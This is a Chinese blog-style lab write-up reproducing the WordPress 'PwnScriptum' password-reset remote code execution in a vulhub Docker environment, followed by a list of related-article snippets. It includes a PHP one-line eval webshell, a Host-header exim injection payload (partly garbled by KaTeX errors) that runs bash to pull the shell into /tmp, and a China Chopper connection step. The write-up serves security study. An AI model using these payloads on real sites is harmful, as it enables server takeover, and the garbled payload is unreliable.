jjzjj

Wordpress漏洞复现

刘正2001 2025-05-11 原文

漏洞复现

cms

1.内容管理系统（content management system，CMS），是一种位于WEB前端（Web 服务器）和后端办公系统或流程（内容创作、编辑）之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。
2.常见的cms系统
国外的：Wordpress，Drupal，Joomla，这是国外最流行的3大CMS。
国内则是DedeCMS和帝国，PHPCMS等。

漏洞环境搭建

一、安装docker(docker要安装在centos7 以上的版本)*
1.1 yum install docker — 使用linux本地仓库下载docker
1.2 docker version — 查看版本信息 ；出现下图，则安装成功

1.3 systemctl start docker— 启动docker

二、安装dockers compose（Compose 是用于定义和运行多容器 Docker 应用程序的工具。）
2.1 setenforce 0— 临时关闭防火墙
2.2 cd /usr/local/bin—设置dockers compose的安装目录
2.3 curl -L https://get.daocloud.io/docker/compose/releases/download/v2.4.1/docker-compose-uname -s-uname -m > /usr/local/bin/docker-compose—高速安装
2.4 docker-compose veersion --查看版本；出现下图，则安装成功

三、搭建vulhub靶场（Vulhub是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。）
3.1 mkdir /vulhub— 在根目录下创建vulhub目录
3.2 环境下载地址：https://github.com/vulhub/vulhub/archive/master.zip

漏洞复现

1.setenfroce 0 可以先执行命令 临时关闭防火墙
2.cd vulhub/wordpress/pwnscriptum进入到漏洞目录
3.docker-compose up -d 运行容器
4.docker ps -a查看容器
注：出现下图则表示容器运行成功

5.ls查看漏洞目录下的文件
6.more README.zh-cn.md查看中文说明文档


7.访问http://your-ip:8080/打开站点
注：1. ip地址为本机ip地址 ifconfig即可查看

8.选择语言为中文简体 开始注册
注：用户名和密码我们都设为admin

9.出现下图 则安装成功

10.打开攻击机kail 验证靶机 出现下图 则表示成功

11.漏洞是在忘记密码处 点击忘记密码

12.在kail上打开burpsuite


13.在kail里写入一句话木马到文件2.txt里 <?php @eval($_POST["caidao"]); ?>

14.这里输入前面建好的admin用户 点击获取新密码

15.burp suite抓到请求包

16.我们修改包 点击forward重发
aa(any -froot@localhost -be KaTeX parse error: Expected '}', got 'EOF' at end of input: {run{{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}bin{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}bash{substr{10}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 8: tod_log}̲}{substr{0}{1}{KaTeX parse error: Expected 'EOF', got '}' at position 16: spool_directory}̲}tmp{substr{0}{1}{$spool_directory}}shell}} null)

17，在靶机上查看一句话木马是否成功被下载 出现下图，则成功

18.使用菜刀连接 拿到shell

Wordpress漏洞codeimgimg-blogdockerlinux运维

有关Wordpress漏洞复现的更多相关文章

  1. Tomcat AJP 文件包含漏洞（CVE-2020-1938） - 2

    目录1．漏洞简介2、AJP13协议介绍Tomcat主要有两大功能：3．Tomcat远程文件包含漏洞分析4．漏洞复现 5、漏洞分析6．RCE实现的原理1．漏洞简介2020年2月20日，公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞（CVE-2020-1938）。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞，攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞，依赖于Tomcat的AJP（定向包协议）。AJP自身存在一定缺陷，导致存在可控

  2. 什么是0day漏洞？如何预防0day攻击？ - 2

    什么是0day漏洞？0day漏洞，是指已经被发现，但是还未被公开，同时官方还没有相关补丁的漏洞；通俗的讲，就是除了黑客，没人知道他的存在，其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day，正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高，往往可以达到目的并全身而退，而防守方却一无所知，只有在漏洞公布之后，才后知后觉，却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照！为了方便大家理解，中科三方为大家梳理当前安全防护模式下，一个漏洞从发现到解决的三个时间节点：T0：此时漏洞即0day漏洞，是已经被发现，还未被公开，官方还没有相

  3. micropython复现经典单片机项目（二）可视化音频 频谱解析（基本搞定） - 2

    本人是音乐爱好者，从小就特别喜欢那个随着音乐跳动的方框效果，就是这个：arduino上一大把对，我忍你很久了，我就想用mpy做，全网没有，行我自己研究。果然兴趣是最好的老师，我之前有篇博客专门讲音频，有兴趣的可以回顾一下。提到可视化频谱，必然绕不开fft，大学学过这玩意，当时一心玩，老师讲的一个字都么听进去，网上教程简略扫了一下，大该就是把时域转频域的工具，我大mpy居然没有fft函数，奶奶的，先放着。音频信息如何收集？第一种傻瓜式的ADC，模拟转数字，原始粗暴，第二种，I2S库，我之前博客有讲过，数据是PCM编码。然后又去学PCM编码，一学豁然开朗，舒服，以代码为例：audio_in=I2S

  4. ruby - 如何为 WordPress 多站点编写 h2o webserver mruby 处理程序？ - 2

    这就是Apache所需要的。我想知道howIdothisinh2o.RewriteEngineOnRewriteBase/RewriteRule^index\.php$-[L]#addatrailingslashto/wp-adminRewriteRule^([_0-9a-zA-Z-]+/)?wp-admin$$1wp-admin/[R=301,L]RewriteCond%{REQUEST_FILENAME}-f[OR]RewriteCond%{REQUEST_FILENAME}-dRewriteRule^-[L]RewriteRule^([_0-9a-zA-Z-]+/)?(wp-(c

  5. ruby - $SAFE >= 1 的 ruby​​ 中可能存在哪些漏洞？ - 2

    Ruby'ssafemode不允许通过潜在危险的操作使用受污染的数据。它的级别各不相同，0表示禁用，然后1-4表示安全级别。启用安全模式时可能存在哪些漏洞？您知道在启用安全模式时发给ruby​​程序的任何CVE编号吗？什么CWEViolations(或cwe系列)是否可以启用安全模式？ 最佳答案 所有应用程序级别的漏洞都完全不受$SAFE级别的影响。不通过“不安全操作”的注入(inject)攻击，例如跨站点脚本和SQL注入(inject)。这或多或少包括Web应用程序的每个漏洞类别，可能除了本地和远程文件包含。查看OWASPTop1

  6. Wordpress漏洞复现 - 2

    漏洞复现cms漏洞环境搭建漏洞复现cms1.内容管理系统（contentmanagementsystem，CMS），是一种位于WEB前端（Web服务器）和后端办公系统或流程（内容创作、编辑）之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。2.常见的cms系统国外的：Wordpress，Drupal，Joomla，这是国外最流行的3大CMS。国内则是DedeCMS和帝国，PHPCMS等。漏洞环境搭建一、

  7. WordPress上一个类别和下一个类别 - 具有多个类别的帖子 - 2

    要单击下一篇或上一篇文章，我使用此代码''.__('Previous','neubau').''.''.__('PreviousPost','neubau').'','prev_text'=>''.__('Next','neubau').''.''.__('NextPost','neubau').'','in_same_term'=>'true',));?>'in_same_term'=＆gt;'真的'用于在同一类别内打开下一个或上一篇文章。但这与多个类别不起作用。我的帖子有三个类别：Portfolio-1，Portfolio-2，Portfolio-3。为了在首页上显示其中一些帖子，我添加了

  8. ruby-on-rails - Ruby on Rails 的 WordPress 替代品是什么？ - 2

    按照目前的情况，这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持，但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开，visitthehelpcenter指导。关闭9年前。RubyonRails有哪些WordPress替代品？它们与WordPress相比如何？

  9. javascript - CSRF 漏洞/cookie 问题 - 2

    只是想从认识的人那里得到意见。我正在考虑CSRF漏洞，以及我所知道的似乎最流行的对抗它的方法。该方法是在返回的html中创建一个token，并添加一个具有相同值的cookie。因此，如果脚本尝试发帖，他们将必须猜测网页中嵌入的token才能成功。但如果他们针对特定网站，为什么他们不能只使用一个脚本在页面上调用get(即使脚本无法访问它也会返回cookie)解析html并获取token调用其中包含该token的帖子(返回的cookie将被发回)他们在用户不知情的情况下成功提交了表单脚本不需要知道cookie的内容，它只是利用cookie一直来回发送这一事实。我在这里错过了什么？这不可能吗

  10. javascript - Scripts文件夹有漏洞？ - 2

    在我的.NETWeb应用程序中，我通常有一个Scripts文件夹，其中包含我所有的JavaScript文件-现在主要是jQuery，偶尔还有某种JavaScript库。我正在通过名为Nexpose的扫描器对我的一个网站运行漏洞扫描，它告诉我Scripts文件夹向全世界开放-这意味着未经身份验证的用户可以下载文件夹中包含的JavaScript文件，这是一个严重的漏洞。根据Nexpose的说法，Scripts文件夹应该被限制为只允许经过身份验证的用户访问它。这引出了我的第一个问题。我如何将Scripts文件夹限制为仅经过身份验证的用户？我尝试将web.config文件放入Scripts文件

随机推荐